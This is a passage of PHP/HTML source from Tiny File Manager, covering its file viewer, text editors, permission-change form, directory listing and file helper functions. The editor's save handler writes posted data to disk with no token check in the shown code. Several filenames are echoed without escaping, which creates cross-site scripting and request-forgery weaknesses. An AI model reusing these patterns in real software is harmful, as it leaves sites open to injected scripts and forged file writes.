                <?php endif; ?>
                <a class="fw-bold btn btn-outline-primary" href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                ?>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0 border-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>
                <?php
                }
                if ($is_text && !FM_READONLY) {
                ?>
                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file">
                        <i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                    </a>
                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                        class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('AdvancedEditor') ?>
                    </a>
                <?php } ?>
                <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
            </div>
            <div class="row mt-3">
                <?php
                if ($is_onlineViewer) {
                    if ($online_viewer == 'google') {
                        echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    } else if ($online_viewer == 'microsoft') {
                        echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    }
                } elseif ($is_zip) {
                    // ZIP content
                    if ($filenames !== false) {
                        echo '<code class="maxheight">';
                        foreach ($filenames as $fn) {
                            if ($fn['folder']) {
                                echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                            } else {
                                echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                            }
                        }
                        echo '</code>';
                    } else {
                        echo '<p>' . lng('Error while fetching archive info') . '</p>';
                    }
                } elseif ($is_image) {
                    // Image content
                    if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                        echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fm_enc($file_url) . '" alt="image" class="preview-img"></label></p>';
                    }
                } elseif ($is_audio) {
                    // Audio content
                    echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
                } elseif ($is_video) {
                    // Video content
                    echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
                } elseif ($is_text) {
                    if (FM_USE_HIGHLIGHTJS) {
                        // highlight
                        $hljs_classes = array(
                            'shtml' => 'xml',
                            'htaccess' => 'apache',
                            'phtml' => 'php',
                            'lock' => 'json',
                            'svg' => 'xml',
                        );
                        $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                        if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                            $hljs_class = 'nohighlight';
                        }
                        $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                    } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                        // php highlight
                        $content = highlight_string($content, true);
                    } else {
                        $content = '<pre>' . fm_enc($content) . '</pre>';
                    }
                    echo $content;
                }
                ?>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) && !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file, $path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>' . $file . '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block">
                                <option>-- <?php echo lng('Select Mode') ?> --</option>
                            </select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Theme') ?> --</option>
                            </select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Font Size') ?> --</option>
                            </select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <div class="btn-group">
                    <a title=" <?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                    <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                    <?php if ($is_text) { ?>
                        <?php if ($isNormalEditor) { ?>
                            <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                            </button>
                        <?php } else { ?>
                            <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                            </button>
                        <?php } ?>
                    <?php } ?>
                </div>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
<?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
?>
    <div class="path">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table" data-bs-theme="<?php echo FM_THEME; ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1" <?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1" <?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1" <?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1" <?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1" <?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1" <?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1" <?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1" <?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1" <?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// --- TINYFILEMANAGER MAIN ---
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// show alert messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm" id="main-table" data-bs-theme="<?php echo FM_THEME; ?>">
            <thead class="thead-white">
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <th style="width:3%" class="custom-checkbox-header">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                                <label class="custom-control-label" for="js-select-all-items"></label>
                            </div>
                        </th><?php endif; ?>
                    <th><?php echo lng('Name') ?></th>
                    <th><?php echo lng('Size') ?></th>
                    <th><?php echo lng('Modified') ?></th>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <th><?php echo lng('Perms') ?></th>
                        <th><?php echo lng('Owner') ?></th><?php endif; ?>
                    <th><?php echo lng('Actions') ?></th>
                </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
            ?>
                <tr><?php if (!FM_READONLY): ?>
                        <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
            <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                $owner = array('name' => '?'); 
                $group = array('name' => '?');
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    try {
                        $owner_id = fileowner($path . '/' . $f);
                        if ($owner_id != 0) {
                            $owner_info = posix_getpwuid($owner_id);
                            if ($owner_info) {
                                $owner =  $owner_info;
                            }
                        }
                        $group_id = filegroup($path . '/' . $f);
                        $group_info = posix_getgrgid($group_id);
                        if ($group_info) {
                            $group =  $group_info;
                        }
                    } catch (Exception $e) {
                        error_log("exception:" . $e->getMessage());
                    }
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                            </div>
                        </td>
                    <?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>>
                        <div class="filename">
                            <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?></a>
                            <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td>
                            <?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td>
                            <?php echo $owner['name'] . ':' . $group['name'] ?>
                        </td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete') . ' ' . lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ii++;
            }
            $ik = 8002;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                $owner = array('name' => '?'); 
                $group = array('name' => '?');
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    try {
                        $owner_id = fileowner($path . '/' . $f);
                        if ($owner_id != 0) {
                            $owner_info = posix_getpwuid($owner_id);
                            if ($owner_info) {
                                $owner =  $owner_info;
                            }
                        }
                        $group_id = filegroup($path . '/' . $f);
                        $group_info = posix_getgrgid($group_id);
                        if ($group_info) {
                            $group =  $group_info;
                        }
                    } catch (Exception $e) {
                        error_log("exception:" . $e->getMessage());
                    }
                }
            ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                            <div class="custom-control custom-checkbox">
                                <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                                <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                            </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_enc($f) ?>>
                        <div class="filename">
                            <?php
                            if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
                                <?php else: ?>
                                    <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                                    <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                                    </a>
                                    <?php echo ($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                            <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting; ?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                                href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
            <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
            <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray fs-7" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? '6' : '7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize') . ': <span class="badge text-bg-light border-radius-0">' . fm_get_filesize($all_files_size) . '</span>' ?>
                            <?php echo lng('File') . ': <span class="badge text-bg-light border-radius-0">' . $num_files . '</span>' ?>
                            <?php echo lng('Folder') . ': <span class="badge text-bg-light border-radius-0">' . $num_folders . '</span>' ?>
                        </td>
                    </tr>
                </tfoot>
            <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
            <div class="col-xs-12 col-sm-9">
                <div class="btn-group flex-wrap" data-toggle="buttons" role="toolbar">
                    <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a>
                    <a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a>
                    <a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a>
                    <input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a>
                    <input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a>
                    <input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a>
                    <input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a>
                </div>
            </div>
            <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();

// --- END HTML ---

// Functions

/**
 * It prints the css/js files into html
 * @param key The key of the external file to print.
 */
function print_external($key)
{
    global $external;

    if (!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}

/**
 * Verify CSRF TOKEN and remove after certified
 * @param string $token
 * @return bool
 */
function verifyToken($token)
{
    if (hash_equals($_SESSION['token'], $token)) {
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if (!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (!is_dir($path) && !is_file($path)) {
        return false;
    }

    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }

        $objects = array_diff(scandir($path), ['.', '..']);

        foreach ($objects as $file) {
            if (!fm_rcopy("$path/$file", "$dest/$file", $upd, $force)) {
                return false;
            }
        }

        return true;
    }

    // Handle file copying
    return fm_copy($path, $dest, $upd);
}


/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
